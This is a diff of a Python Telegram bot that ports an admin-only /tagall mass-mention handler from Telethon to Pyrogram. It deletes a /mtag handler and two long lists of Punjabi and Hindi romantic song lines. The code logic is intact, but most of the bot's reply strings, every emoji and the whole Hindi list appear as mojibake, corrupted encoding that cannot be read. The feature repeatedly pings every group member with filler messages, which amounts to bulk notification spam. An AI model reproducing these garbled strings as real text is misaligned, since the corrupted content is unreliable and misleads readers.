- partici_ = await client(GetParticipantRequest(event.chat_id, event.sender_id))
- except UserNotParticipantError:
+ participant = await client.get_chat_member(chat_id, message.from_user.id)
+ except UserNotParticipant:
is_admin = False
else:
- if isinstance(
- partici_.participant, (ChannelParticipantAdmin, ChannelParticipantCreator)
+ if participant.status in (
+ ChatMemberStatus.ADMINISTRATOR,
+ ChatMemberStatus.OWNER
):
is_admin = True
if not is_admin:
- return await event.respond("__Only admins can mention all!__")
+ return await message.reply("ððšð® ðð«ð ððšð ðððŠð¢ð§ ðððð², ðð§ð¥ð² ðððŠð¢ð§ð¬ ððð§ ððð ðððŠððð«ð¬. ")
- if event.pattern_match.group(1) and event.is_reply:
- return await event.respond("__Give me one argument!__")
- elif event.pattern_match.group(1):
+ if message.reply_to_message and message.text:
+ return await message.reply("/tagall ððšðšð ððšð«ð§ð¢ð§ð ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ / ððð©ð¥ð² ðð§ð² ððð¬ð¬ðð ð ððð±ð ðð¢ðŠð ð
ðšð ððð ð ð¢ð§ð ...")
+ elif message.text:
mode = "text_on_cmd"
- msg = event.pattern_match.group(1)
- elif event.is_reply:
+ msg = message.text
+ elif message.reply_to_message:
mode = "text_on_reply"
- msg = await event.get_reply_message()
- if msg == None:
- return await event.respond(
- "__I can't mention members for older messages! (messages which are sent before I'm added to group)__"
- )
+ msg = message.reply_to_message
+ if not msg:
+ return await message.reply("/tagall ððšðšð ððšð«ð§ð¢ð§ð ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ / ððð©ð¥ð² ðð§ð² ððð¬ð¬ðð ð ððð±ð ðð¢ðŠð ð
ðšð ððð ð ð¢ð§ð ...")
else:
- return await event.respond(
- "__Reply to a message or give me some text to mention others!__"
- )
-
+ return await message.reply("/tagall ððšðšð ððšð«ð§ð¢ð§ð ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ / ððð©ð¥ð² ðð§ð² ððð¬ð¬ðð ð ððð±ð ðð¢ðŠð ð
ðšð ððð ð ð¢ð§ð ...")
+ if chat_id in spam_chats:
+ return await message.reply("ðð¥ððð¬ð ðð ð
ð¢ð«ð¬ð ðððšð© ðð®ð§ð§ð¢ð§ð ððð§ðð¢ðšð§ ðð«ðšððð¬ð¬ ðð² /tagalloff , /stopvctag ...")
spam_chats.append(chat_id)
usrnum = 0
usrtxt = ""
- async for usr in client.iter_participants(chat_id):
+ async for usr in client.get_chat_members(chat_id):
if not chat_id in spam_chats:
break
+ if usr.user.is_bot:
+ continue
usrnum += 1
- usrtxt += f"[{usr.first_name}](tg://user?id={usr.id}), "
- if usrnum == 5:
+ usrtxt += f"[{usr.user.first_name}](tg://user?id={usr.user.id}) "
+
+ if usrnum == 1:
if mode == "text_on_cmd":
- txt = f"{msg}\n{usrtxt}"
+ txt = f"{usrtxt} {random.choice(TAGMES)}\n\n|| ⥠áŽÒÒ áŽáŽÉ¢É¢ÉªÉŽÉ¢ ÊÊ Â» /stoptagall ||"
await client.send_message(chat_id, txt)
elif mode == "text_on_reply":
- await msg.reply(usrtxt)
- await asyncio.sleep(3)
+ await msg.reply(f"[{random.choice(EMOJI)}](tg://user?id={usr.user.id})")
+ await asyncio.sleep(4)
usrnum = 0
usrtxt = ""
try:
spam_chats.remove(chat_id)
except:
pass
-
-
-
-MUSIC = [
- " **Tere naalo challiye haseen koyi NA ðð** ",
- " **Taare chann ambar zameen koyi nA** ",
- " **Main Jado Tere Mode Utte Sir Rakheyað§ð§** ",
- " **Eh Ton Sachi Sama Vi Haseen Koi Naðð** ",
- " **Sohniyan Vi Laggan Giyan Fer Walianðð** ",
- " **Galan Nal Jado Takraiyan Waliyanð¥°ð¥°** ",
- " **Tare Dekhi Labh Labh Kiven Hardeðð** ",
- " **Tu Bala Ch Lakoiyan Jado Ratan Kaliyanðð** ",
- " **Main Sab Kuj Har Tere Utton Deâungaðð** ",
- " **Sab Kuj War Tere Utton Deâungaðð** ",
- " **Akhir Ch Jan Tainu Deâun Apniðð** ",
- " **Chala Tainu Bhavein Pehli War Deâungaðð** ",
- " **Han Main Cheti Cheti Lawanð«ð«** ",
- " **Tere Nal Laini anð£ð£** ",
- " **Samay Da Tan Bhora Vi Yakeen Koi Nað¥ºð¥º** ",
- " **Tere Nalo Jhaliye Haseen Koi Nað¥°ð¥°** ",
- " **Tare Chann Ambar Zameen Koi Naðð** ",
- " **Tere Nalo Jhaliye Haseen Koi Naðð** ",
- " **Tare Chann Ambar Zameen Koi Nað¥°ð¥°** ",
- " **Main Jado Tere Mode Utte Sir Rakheyaðð** ",
- " **Eh Ton Sachi Sama Vi Haseen Koi Naðð** ",
- " **Tu Yar Mera Tu Hi Ae Sahara AdiyE** ",
- " **Main Pani Tera Mera Tu Kinara Adiye** ",
- " **Phul Ban Jai Main Khushboo Bann Ju** ",
- " **Deevan Bani Mera Teri Lau Ban Ju** ",
- " **Haye Ujadiyan Thawan Te Banate Bag Ne** ",
- " **Teriyan Ankhan Ne Kitte Jadu Yad Ne** ",
- " **Jado Wang Kolon Phadi Vi Ni KassKe** ",
- " **Totte Sambh Rakhe Tutte Hoye Kach De** ",
- " **Han Ki Dil Yadan Rakhda Ae, Sambh Sambh Ke** ",
- " **Hor Dil Sajjna Machine Koi Na** ",
- " **Tere Nalo Jhaliye Haseen Koi Na** ",
- " **Tare Chann Ambar Zameen Koi Na** ",
- " **Tere Nalo Jhaliye Haseen Koi Na** ",
- " **Tare Chann Ambar Zameen Koi Na** ",
- " **Main Jado Tere Mode Utte Sir Rakheya** ",
- " **Eh Ton Sachi Sama Vi Haseen Koi Na** ",
- " **Kine Din Hogye Meri Akh Soi Na** ",
- " **Tere Ton Bagair Mera Aithe Koi Na** ",
- " **Tu Bhukh Vi Ae Tu Hi Ae Guzara Adiye** ",
- " **Mannu Sab Kari Tu Ishara Adiye** ",
- " **Ho Khaure Kinni War Seene Vich Khubiyan** ",
- " **Surme De Vich Dovein Ankhan Dubbiyan** ",
- " **Kini Sohni Lagge Jadon Chup Kar Je** ",
- " **Jandi Jandi Shaman Nu Vi Dhup Kar Je** ",
- " **Haye Main Paun Farmaishi Rang Tere Sohniye** ",
- " **Unj Bahotan Gifty Shaukeen Koi Na** ",
- " **Tere Nalo Jhaliye Haseen Koi Naðð** ",
- " **Tare Chann Ambar Zameen Koi Nað¥°ð¥°**",
- " **Tere Nalo Jhaliye Haseen Koi Naðð** ",
- " **Tare Chann Ambar Zameen Koi Nað¥°ð¥°** ",
- " **Main Jado Tere Mode Utte Sir Rakheyaðð** ",
- " **Eh Ton Sachi Sama Vi Haseen Koi Naðð** ",
- " **Kanna Wich Jhumkaðð** ",
- " **Akhan Wich Surmaðð** ",
- " **Ho Jaise Strawberry Candyðð** ",
- " **Nakk Utte Kokað€šð€š** ",
- " **Jeena Kare Aukhað€ð€** ",
- " **Haye Meri Jaan Kadd Laindiðð** ",
- " **Tere Nakhre Haye Tauba Sanu Maardeð€«ð€«** ",
- " **Ho Gaya Hai Mera Baby Bura HaaLðð** ",
- " **Sachi Lut Gaye Hum Tere Is Pyar Meinðð** ",
- " **Jeeni Zindagi Hai Bas Tere Naalðð** ",
- " **cause I Love You ðð** ",
- " **I Love YoU SO MUCH ðð** ",
- " **cause I Love You ðð** ",
- " **I Love YoU SO MUCH ðð** ",
- " **Sapno Mein Mere AayIðð** ",
- " **Uff Oh Phir Neendein Hi Churayiðð** ",
- " **Oh No! Tera Husan Nazarað¥°ð¥°** ",
- " **Baby! Lage Sohna Kitna PyarAðð** ",
- " **Sapno Mein Mere Aayiðð** ",
- " **Uff Oh Phir Neendein Hi Churayiðð** ",
- " **Oh No! Tera Husan Nazarað¥°ð¥°** ",
- " **Baby! Lage Sohna Kitna PyarAðð** ",
- " **Tainu Diamond Mundri Pehnawaðð** ",
- " **Naale Duniya Sari Ghumawaðð** ",
- " **Chhoti-Chhoti Gallan Utte Main Hasavaanðð** ",
- " **Yaara Kade Vi Na Tainu Main Rulawaanðð** ",
- " **cause I Love Youðð** ",
- " **I Love You â€ïžâ€ïž** ",
- " **cause I Love Youðð** ",
- " **I Love You â€ïžâ€ïž** ",
- " **Yaari Laawan Sachi YaarIð«ð«** ",
- " **Tu Jaan Ton Vi Pyariðð** ",
- " **Will Love You To The Moon And Backðð** ",
- " **Hogi Saza Na Koyi Hogiðð** ",
- " **Chahe Karun Chori Chaand Taareðð** ",
- " **Imma Give You Themð
ð
** ",
- " **Yaari Laavan Sachi YaarIðð** ",
- " **Tu Jaan Ton Vi PyarIðð** ",
- " **Will Love You To The Moon And Backðð** ",
- " **Hogee Sazaa Na Koyi Hogiðð** ",
- " **Chahe Karun Chori Chaand Taareð¥ºð¥º** ",
- " **Imma Give You Themð¥µð¥µ** ",
- " **Puri Karunga Main Teri Sari Khahisheinðð** ",
- " **Tera Rakhanga Main ajj Ke Khayalðð** ",
- " **Kitni Khoobiyan Hai Tere Is Yaar Meinð¥°ð¥°** ",
- " **Aaja Bahon Mein Tu Bahein Bas Daalðð** ",
- " **Aur Hota Nahi Ab Intezarð€©ð€©** ",
- " **Aur Hota Nahee Ab Intezaarðð** ",
- " **cause I Love You ðð** ",
- " **I Love YoU ðð** ",
- " **cause I Love You** ",
- " **I Love YoU SOOOOOOOOOOOOOOOOOO MUCHHHHHHHHHHHHHHHHHHHHH ðð** ",
- " **WILL U BE MINE FOREVER??ð€ð€** ",
- " **Je tu akh te main aan kaajal veðð** ",
- " **Tu baarish te main baadal veð€«ð€«** ",
- " **Tu deewana main aan paagal veð€ªð€ª** ",
- " **Sohneya sohneyaâºïžâºïž** ",
- " **Je tu chann te main aan taara veð€ð€** ",
- " **Main lehar te tu kinara veð¶ð¶** ",
- " **Main aadha te tu saara veð€ð€"" ",
- " **Sohneya sohneyaðð** ",
- " **Tu jahan hai main wahanðð** ",
- " **Tere bin main hoon hi kyað¥²ð¥²** ",
- " **Tere bin chehre se mereð€ð€** ",
- " **Udd jaaye rang veð
ð
** ",
- " **Tujhko paane ke liye huMðð** ",
- " **Roz mangein mannat veðð** ",
- " **Duniya to kya cheez hai yaaraðð** ",
- " **Thukra denge jannat veðð** ",
- " **Tujhko paane ke liye humðð** ",
- " **Roz mangein mannat veð€«ð€«** ",
- " **Duniya to kya cheez hai yaarað€ð€** ",
- " **Thukra denge jannat veðð** ",
- " **Na parwah mainu apni aaðð** ",
- " **Na parwah mainu duniya dið
ð
** ",
- " **Na parwah mainu apni aað
ð
** ",
- " **Na parwah mainu duniya dið
ð
** ",
- " **Tere ton juda nahi kar sakdið€¬ð€¬** ",
- " **Koyi taakat mainu duniya diðð** ",
- " **Dooron aa jaave teri khushbuðð** ",
- " **Akhan hun band taan vi vekh lawanðð** ",
- " **Teri gali vich mera auna har rozðð** ",
- " **Tera ghar jadon aave matha tek lawanðð** ",
- " **Nirmaan tujhko dekh keðð** ",
- " **Aa jaave himmat veðð** ",
- " **Tujhko paane ke liye humðð** ",
- " **Roz mangein mannat veðð** ",
- " **Duniya to kya cheez hai yaaraðð** ",
- " **Thukra denge jannat veðð** ",
- " **Tujhko paane ke liye humð€«ð€«** ",
- " **Roz mangein mannat veðð** ",
- " **Duniya to kya cheez hai yaaraðð** ",
- " **Thukra denge jannat veðð** ",
- " **SO MISS ð¶ð¶** ",
- " **KYA SOCHA APNE BAARE MAINðð** ",
- " **BADI MUSHKIL SE YEH SAB KARA H REð¥µð¥µ** ",
- " **PAHLE PURA BOT HI KANG MAAR DIYA BUTð€«ð€«** ",
- " **WAHI ERROR AAYE JO AATE THEð¥²ð¥²** ",
- " **BUT TUMHARA HO CHUKA WALA BFðð** ",
- " **AND FUTURE HUSBAND JO BANNE WALA THA WO BHOT SMART H REðð** ",
- " **ISS BAAR BOT BANAYA AND CHOTA SA EDIT KARA BASðð** ",
- " **AUR DEKO ABHI TUM USSI BOT SE YEH PADH PAA RHIðð** ",
- " **HEHE BTW YEH CHORO MEKO NA TUMSEð¶ð¶** ",
- " **KUCH PUCHNA THA KI MEð€ð€** ",
- " **TUMHARE KABIL HU YA** ",
- " **TUMHARE KABIL NHIðð** ",
- " **AND EK AUR BAAT BOLNI THI KIðð** ",
- " **I REALLY REALLY DEEPLYðð** ",
- " **LOVE YOU FROM MY HEART TO YOUR HEAT AND MY SOUL ATTACHED BY YOUR SOUL CAN YOU BE MINE FOREVERððâ€ïž** ",
-]
-
-
-@client.on(events.NewMessage(pattern="^/mtag ?(.*)"))
-async def mention_all(event):
- chat_id = event.chat_id
- if event.is_private:
- return await event.respond(
- "__This command can be used in groups and channels!__"
- )
-
- is_admin = False
- try:
- partici_ = await client(GetParticipantRequest(event.chat_id, event.sender_id))
- except UserNotParticipantError:
- is_admin = False
- else:
- if isinstance(
- partici_.participant, (ChannelParticipantAdmin, ChannelParticipantCreator)
- ):
- is_admin = True
- if not is_admin:
- return await event.respond("ðð§ð¥ð² ðððŠð¢ð§ ððð§ ððð§ðð¢ðšð§ ððš ðð¥ð¥ ðððð²...")
-
- if event.pattern_match.group(1):
- return await event.respond("/mtag ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ ððð±ð ðð¢ðŠð ðð€ ð
ðšð« ððð ð ð¢ð§ð ..")
- else:
- mode = "text_on_cmd"
- msg = event.pattern_match.group(1)
- if msg is None:
- return await event.respond(
- "/mtag ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ ðð« ððð©ð¥ð² ðð§ð² ððð¬ð¬ðð ð..."
- )
-
- spam_chats.append(chat_id)
- async for usr in client.iter_participants(chat_id):
- if not chat_id in spam_chats:
- break
- user_id = usr.id
- mention_text = f"[{usr.first_name}](tg://user?id={user_id}) {random.choice(MUSIC)}"
- await client.send_message(chat_id, mention_text)
- time.sleep(5)
-
- try:
- spam_chats.remove(chat_id)
- except:
- pass
-
-
-
-
-SRAID = [
- " **à€à€¶à¥à¥ à€¹à¥ à€¯à€Ÿ à€à¥à€ à€à€° à€¯à¥ à€ªà€€à€Ÿ à€šà€¹à¥à€, à€ªà€° à€à¥ à€€à¥à€®à€žà¥ à€¹à¥ à€à€¿à€žà¥ à€à€° à€žà¥ à€šà€¹à¥à€ ðð** ",
- " **à€®à¥ à€à¥à€žà¥ à€à€¹à¥ à€à¥ à€à€žà€à€Ÿ à€žà€Ÿà€¥ à€à¥à€žà€Ÿ à€¹à¥, à€µà¥ à€à€ à€¶à€à¥à€ž à€ªà¥à€°à¥ à€à€Ÿà€¯à€šà€Ÿà€€ à€à¥à€žà€Ÿ à€¹à¥** ",
- " **à€€à¥à€°à€Ÿ à€¹à¥à€šà€Ÿ à€¹à¥ à€®à¥à€°à¥ à€²à€¿à€¯à¥ à€à€Ÿà€ž à€¹à¥, à€€à¥ à€Šà¥à€° à€¹à¥ à€žà€¹à¥ à€®à€à€° à€®à¥à€°à¥ à€Šà€¿à€² à€à¥ à€ªà€Ÿà€ž à€¹à¥** ",
- " **à€®à¥à€à¥ à€€à¥à€°à€Ÿ à€žà€Ÿà€¥ à€à€Œà€¿à€šà¥à€Šà€à¥ à€à€° à€šà€¹à¥à€ à€à€Ÿà€¹à€¿à€¯à¥, à€¬à€²à¥à€à€¿ à€à€¬ à€€à€ à€€à¥ à€žà€Ÿà€¥ à€¹à¥ à€€à€¬à€€à€ à€à€Œà€¿à€šà¥à€Šà€à¥ à€à€Ÿà€¹à€¿à€ ðð** ",
- " **à€€à¥à€à€žà¥ à€®à¥à€¹à€¬à¥à€¬à€€ à€à¥à€ à€
à€²à€ à€žà¥ à€¹à¥ à€®à¥à€°à¥, à€€à¥à€à¥ à€à€¯à€Ÿà€²à¥ à€®à¥à€ à€šà€¹à¥à€ à€Šà¥à€à€ à€®à¥à€ à€¯à€Ÿà€Š à€à€°à€€à¥ à€¹à¥ðð** ",
- " **à€€à¥ à€¹à¥à€Ÿà€° à€¬à€Ÿà€° à€à¥ à€°à¥à€ à¥ à€€à¥ à€®à€šà€Ÿ à€²à¥à€à€à€Ÿ à€€à¥à€à¥** ",
- " **à€®à€à€° à€Šà¥à€ à€®à¥à€¹à€¬à¥à€¬à€€ à€®à¥à€ à€¶à€Ÿà€®à€¿à€² à€à¥à€ à€Šà¥à€žà€°à€Ÿ à€šà€Ÿ à€¹à¥ðð** ",
- " **à€à€¿à€žà¥à€®à€€ à€¯à€¹ à€®à¥à€°à€Ÿ à€à€®à¥à€€à¥à€¹à€Ÿà€š à€²à¥ à€°à€¹à¥ à€¹à¥ðð** ",
- " **à€€à¥à€ª à€à€° à€¯à€¹ à€®à¥à€à¥ à€Šà€°à¥à€Š à€Šà¥ à€°à€¹à¥ à€¹à¥ðð** ",
- " **à€Šà€¿à€² à€žà¥ à€à€à¥ à€à¥ à€®à¥à€à€šà¥ à€à€žà¥ à€Šà¥à€° à€šà€¹à¥à€ à€à€¿à€¯à€Ÿðð** ",
- " **à€«à€¿à€° à€à¥à€¯à¥à€ à€¬à¥à€µà€«à€Ÿà€ à€à€Ÿ à€µà€¹ à€à€²à¥à€Ÿà€® à€Šà¥ à€°à€¹à¥ à€¹à¥ðð** ",
- " **à€®à€°à¥ à€€à¥ à€²à€Ÿà€à¥à€ à€¹à¥à€à€à¥ à€€à¥à€ à€ªà€°ðð** ",
- " **à€®à¥à€ à€€à¥ à€€à¥à€°à¥ à€žà€Ÿà€¥ à€à¥à€šà€Ÿ à€à€Ÿà€¹à€€à€Ÿ à€¹à¥à€ð«ð«** ",
- " **à€µà€Ÿà€ªà€ž à€²à¥à€ à€à€¯à€Ÿ à€¹à¥ à€¹à€µà€Ÿà€à€ à€à€Ÿ à€°à¥à€ à€®à¥à¥à€šà¥ à€µà€Ÿà€²à€Ÿð£ð£** ",
- " **à€Šà€¿à€² à€®à¥à€ à€«à€¿à€° à€à€€à€° à€°à€¹à€Ÿ à€¹à¥ à€Šà€¿à€² à€€à¥à¥à€šà¥ à€µà€Ÿà€²à€Ÿð¥ºð¥º** ",
- " **à€
à€ªà€šà¥à€ à€à¥ à€¬à¥à€ à€¬à¥à€à€Ÿà€šà¥ à€¹à¥ à€à€ à€¹à¥à€ð¥°ð¥°** ",
- " **à€ªà¥à€¯à€Ÿà€° à€à¥ à€²à€®à¥à€¹à¥ à€
à€šà€à€Ÿà€šà¥ à€¹à¥ à€à€ à€¹à¥à€ðð** ",
- " **à€à€¹à€Ÿà€ à€ªà€° à€«à¥à€² à€à€¿à€²à€€à¥ à€¥à¥ à€à€à¥ðð** ",
- " **à€à€ à€µà€¹à€Ÿà€ à€ªà€° à€µà¥à€°à€Ÿà€š à€¹à¥ à€à€ à€¹à¥à€ð¥°ð¥°** ",
- " **à€à¥ à€¶à€à¥à€ž à€€à¥à€°à¥ à€€à€žà€µà¥à€µà¥à€° à€žà¥ à€¹à¥ à€®à€¹à€ à€à€Ÿà€¯à¥ðð** ",
- " **à€žà¥à€à¥ à€€à¥à€®à¥à€¹à€Ÿà€°à¥ à€Šà¥à€Šà€Ÿà€° à€®à¥à€ à€à€žà€à€Ÿ à€à¥à€¯à€Ÿ à€¹à¥à€à€Ÿðð** ",
- " **à€®à¥à€¹à€¬à¥à€¬à€€ à€à€Ÿ à€à€¹à€žà€Ÿà€ž à€€à¥ à€¹à€® à€Šà¥à€šà¥à€ à€à¥ à€¹à¥à€ à€¥à€Ÿ** ",
- " **à€«à€°à¥à€ à€žà€¿à€°à¥à€« à€à€€à€šà€Ÿ à€¥à€Ÿ à€à¥ à€à€žà€šà¥ à€à€¿à€¯à€Ÿ à€¥à€Ÿ à€à€° à€®à¥à€à¥ à€¹à¥à€ à€¥à€Ÿ** ",
- " **à€žà€Ÿà€à€žà¥à€ à€à¥ à€¡à¥à€° à€à¥à€à€€à¥ à€à€Ÿ à€°à€¹à¥ à€¹à¥** ",
- " **à€à€¿à€žà¥à€®à€€ à€à¥ à€¹à€®à¥ à€Šà€°à¥à€Š à€Šà¥à€€à¥ à€à€Ÿ à€°à€¹à¥ à€¹à¥** ",
- " **à€®à¥à€€ à€à¥ à€€à€°à€« à€¹à¥à€ à€à€Šà€® à€¹à€®à€Ÿà€°à¥** ",
- " **à€®à¥à€¹à€¬à¥à€¬à€€ à€à¥ à€¹à€® à€žà¥ à€à¥à€à€€à¥ à€à€Ÿ à€°à€¹à¥ à€¹à¥** ",
- " **à€žà€®à€à€€à€Ÿ à€¹à¥ à€šà€¹à¥à€ à€µà¥ à€®à¥à€°à¥ à€
à€²à¥à€Ÿà¥ à€à¥ à€à€¹à€°à€Ÿà€** ",
- " **à€®à¥à€à€šà¥ à€¹à€° à€²à€«à¥à¥ à€à€¹ à€Šà€¿à€¯à€Ÿ à€à€¿à€žà¥ à€®à¥à€¹à€¬à¥à€¬à€€ à€à€¹à€€à¥ à€¹à¥** ",
- " **à€žà€®à€à€Šà€° à€š à€žà€¹à¥ à€ªà€° à€à€ à€šà€Šà¥ à€€à¥ à€¹à¥à€šà¥ à€à€Ÿà€¹à€¿à€** ",
- " **à€€à¥à€°à¥ à€¶à€¹à€° à€®à¥à€ à¥à€¿à€šà¥à€Šà€à¥ à€à€¹à¥ à€€à¥ à€¹à¥à€šà¥ à€à€Ÿà€¹à€¿à€** ",
- " **à€šà¥à€°à¥à€ à€žà¥ à€Šà¥à€à¥ à€€à¥à€¹ à€à€¬à€Ÿà€Š à€¹à€® à€¹à¥à€** ",
- " **à€Šà€¿à€² à€žà¥ à€Šà¥à€à¥ à€€à¥à€¹ à€¬à€°à¥à€¬à€Ÿà€Š à€¹à€® à€¹à¥à€** ",
- " **à€à¥à€µà€š à€à€Ÿ à€¹à€° à€²à€®à¥à€¹à€Ÿ à€Šà€°à¥à€Š à€žà¥ à€à€° à€à€¯à€Ÿ** ",
- " **à€«à€¿à€° à€à¥à€žà¥ à€à€¹ à€Šà¥à€ à€à¥à€Ÿà€Š à€¹à€® à€¹à¥à€** ",
- " **à€®à¥à€à¥ à€šà€¹à¥à€ à€®à€Ÿà€²à¥à€® à€µà¥ à€ªà€¹à€²à¥ à€¬à€Ÿà€° à€à€¬ à€
à€à¥à€à€Ÿ à€²à€à€Ÿ** ",
- " **à€®à€à€° à€à€žà€à¥ à€¬à€Ÿà€Š à€à€à¥ à€¬à¥à€°à€Ÿ à€à¥ à€šà€¹à¥à€** ",
- " **à€žà€à¥à€à¥ à€®à¥à€¹à€¬à¥à€¬à€€ à€à€à¥ à€à€€à¥à€® à€šà€¹à¥à€ à€¹à¥à€€à¥** ",
- " **à€µà¥à¥à€€ à€à¥ à€žà€Ÿà€¥ à€à€Ÿà€®à¥à€¶ à€¹à¥ à€à€Ÿà€€à¥ à€¹à¥** ",
- " **à¥à€¿à€šà¥à€Šà€à¥ à€à¥ à€žà¥à€° à€®à¥à€ à€à€ªà€à€Ÿ à€žà€¹à€Ÿà€°à€Ÿ à€à€Ÿà€¹à€¿à€** ",
- " **à€à€ªà€à¥ à€à€°à€£à¥à€ à€à€Ÿ à€¬à€ž à€à€žà€°à€Ÿ à€à€Ÿà€¹à€¿à€** ",
- " **à€¹à€° à€®à¥à€¶à¥à€à€¿à€²à¥à€ à€à€Ÿ à€¹à€à€žà€€à¥ à€¹à¥à€ à€žà€Ÿà€®à€šà€Ÿ à€à€°à¥à€à€à¥** ",
- " **à€¬à€ž à€ à€Ÿà€à¥à€° à€à¥ à€à€ªà€à€Ÿ à€à€ à€à€¶à€Ÿà€°à€Ÿ à€à€Ÿà€¹à€¿à€** ",
- " **à€à€¿à€ž à€Šà€¿à€² à€®à¥à€ à€¬à€žà€Ÿ à€¥à€Ÿ à€šà€Ÿà€® à€€à¥à€°à€Ÿ à€¹à€®à€šà¥ à€µà¥ à€€à¥à¥ à€Šà€¿à€¯à€Ÿ** ",
- " **à€š à€¹à¥à€šà¥ à€Šà€¿à€¯à€Ÿ à€€à¥à€à¥ à€¬à€Šà€šà€Ÿà€® à€¬à€ž à€€à¥à€°à¥ à€šà€Ÿà€® à€²à¥à€šà€Ÿ à€à¥à¥ à€Šà€¿à€¯à€Ÿ** ",
- " **à€ªà¥à€¯à€Ÿà€° à€µà¥ à€šà€¹à¥à€ à€à¥ à€¹à€Ÿà€žà€¿à€² à€à€°à€šà¥ à€à¥ à€²à€¿à€ à€à¥à€ à€à¥ à€à€°à€µ à€Šà¥** ",
- " **à€ªà¥à€¯à€Ÿà€° à€µà¥ à€¹à¥ à€à¥ à€à€žà€à¥ à€à¥à€¶à¥ à€à¥ à€²à€¿à€ à€
à€ªà€šà¥ à€
à€°à€®à€Ÿà€š à€à¥à€° à€Šà¥** ",
- " **à€à€¶à€¿à€ à€à¥ à€šà€Ÿà€® à€žà¥ à€žà€à¥ à€à€Ÿà€šà€€à¥ à€¹à¥à€ðð** ",
- " **à€à€€à€šà€Ÿ à€¬à€Šà€šà€Ÿà€® à€¹à¥ à€à€ à€¹à€® à€®à€¯à€à€Ÿà€šà¥ à€®à¥à€ð¥°ð¥°** ",
- " **à€à€¬ à€à¥ à€€à¥à€°à¥ à€¯à€Ÿà€Š à€à€€à¥ à€¹à¥ à€¬à¥à€Šà€°à¥à€Š à€®à¥à€à¥ðð** ",
- " **à€€à¥à€¹ à€ªà¥à€€à¥ à€¹à¥à€ à€¹à€® à€Šà€°à¥à€Š à€ªà¥à€®à€Ÿà€šà¥ à€®à¥à€ð¥°ð¥°** ",
- " **à€¹à€® à€à€¶à¥à¥ à€à¥ à€µà¥ à€®à¥à€à€Ÿà€® à€ªà€° à€à¥à¥ à€¹à¥ðð** ",
- " **à€à€¹à€Ÿà€ à€Šà€¿à€² à€à€¿à€žà¥ à€à€° à€à¥ à€à€Ÿà€¹à¥ à€€à¥ à€à¥à€šà¥à€¹à€Ÿ à€²à€à€€à€Ÿ à€¹à¥ðð** ",
- " **à€žà€à¥à€à¥ à€ªà¥à€¯à€Ÿà€° à€µà€Ÿà€²à¥à€ à€à¥ à€¹à€®à¥à€¶à€Ÿ à€²à¥à€ à€à€²à€€ à€¹à¥ à€žà€®à€à€€à¥ à€¹à¥ðð** ",
- " **à€à€¬à€à€¿ à€à€Ÿà€à€® à€ªà€Ÿà€ž à€µà€Ÿà€²à¥ à€žà¥ à€²à¥à€ à€à¥à€¶ à€°à€¹à€€à¥ à€¹à¥ à€à€ à€à€²ðð** ",
- " **à€à€¿à€²à€Ÿà€ž à€ªà€° à€à€¿à€²à€Ÿà€ž à€¬à€¹à¥à€€ à€à¥à€ à€°à€¹à¥ à€¹à¥à€ðð** ",
- " **à€à¥à€žà¥ à€à¥ à€ªà¥à€¯à€Ÿà€²à¥ à€Šà€°à¥à€Š à€žà¥ à€à€° à€°à€¹à¥ à€¹à¥à€ð€šð€š** ",
- " **à€®à€¶à€Ÿà€²à¥à€ à€à¥ à€€à€°à€¹ à€Šà€¿à€² à€à€² à€°à€¹à¥ à€¹à¥à€ð€ð€** ",
- " **à€à¥à€žà¥ à¥à€¿à€šà¥à€Šà€à¥ à€®à¥à€ à€¬à€Šà€à€¿à€žà¥à€®à€€à¥ à€žà¥ à€®à€¿à€² à€°à€¹à¥ à€¹à¥à€ðð** ",
- " **à€žà€¿à€°à¥à€« à€µà¥à¥à€€ à€à¥à€à€°à€šà€Ÿ à€¹à¥ à€€à¥ à€à€¿à€žà¥ à€à€° à€à¥ à€
à€ªà€šà€Ÿ à€¬à€šà€Ÿ à€²à¥à€šà€Ÿð€«ð€«** ",
- " **à€¹à€® à€Šà¥à€žà¥à€€à¥ à€à¥ à€à€°à€€à¥ à€¹à¥ à€€à¥ à€ªà¥à€¯à€Ÿà€° à€à¥ à€€à€°à€¹ðð** ",
- " **à€à€°à¥à€°à¥ à€šà€¹à¥à€ à€à€¶à¥à¥ à€®à¥à€ à€¬à€šà€¹à¥à€ à€à¥ à€žà€¹à€Ÿà€°à¥ à€¹à¥ à€®à€¿à€²à¥ðð** ",
- " **à€à€¿à€žà¥ à€à¥ à€à¥ à€à€° à€à¥ à€®à€¹à€žà¥à€ž à€à€°à€šà€Ÿ à€à¥ à€®à¥à€¹à€¬à¥à€¬à€€ à€¹à¥ðð** ",
- " **à€šà€¶à¥ à€®à¥à€ à€à¥ à€€à¥à€°à€Ÿ à€šà€Ÿà€® à€²à€¬ à€ªà€° à€à€€à€Ÿ à€¹à¥ðð** ",
- " **à€à€²à€€à¥ à€¹à¥à€ à€®à¥à€°à¥ à€ªà€Ÿà€à€µ à€²à¥à€à¥à€Ÿà€€à¥ à€¹à¥à€ðð** ",
- " **à€Šà€°à¥à€Š à€žà€Ÿ à€Šà€¿à€² à€®à¥à€ à€à€ à€€à€Ÿ à€¹à¥ à€®à¥à€°à¥ðð** ",
- " **à€¹à€žà¥à€ à€à¥à€¹à€°à¥ à€ªà€° à€à¥ à€Šà€Ÿà€ à€šà€à€° à€à€€à€Ÿ à€¹à¥ðð** ",
- " **à€¹à€®à€šà¥ à€à¥ à€à€ à€à€žà¥ à€¶à€à¥à€ž à€à¥ à€à€Ÿà€¹à€Ÿðð** ",
- " **à€à€¿à€žà€à¥ à€à¥à€²à€Ÿ à€š à€žà€à¥ à€à€° à€µà¥ à€à€¿à€žà¥à€®à€€ à€®à¥à€ à€à¥ à€šà€¹à¥à€ðð** ",
- " **à€žà€à¥à€à€Ÿ à€ªà¥à€¯à€Ÿà€° à€à€¿à€žà¥ à€à¥à€€ à€à¥ à€€à€°à€¹ à€¹à¥à€€à€Ÿ à€¹à¥ð¥°ð¥°** ",
- " **à€¬à€Ÿà€€à¥à€ à€€à¥ à€žà€¬ à€à€°à€€à¥ à€¹à¥ à€Šà¥à€à€Ÿ à€à€¿à€žà¥ à€šà¥ à€šà€¹à¥à€ðð** ",
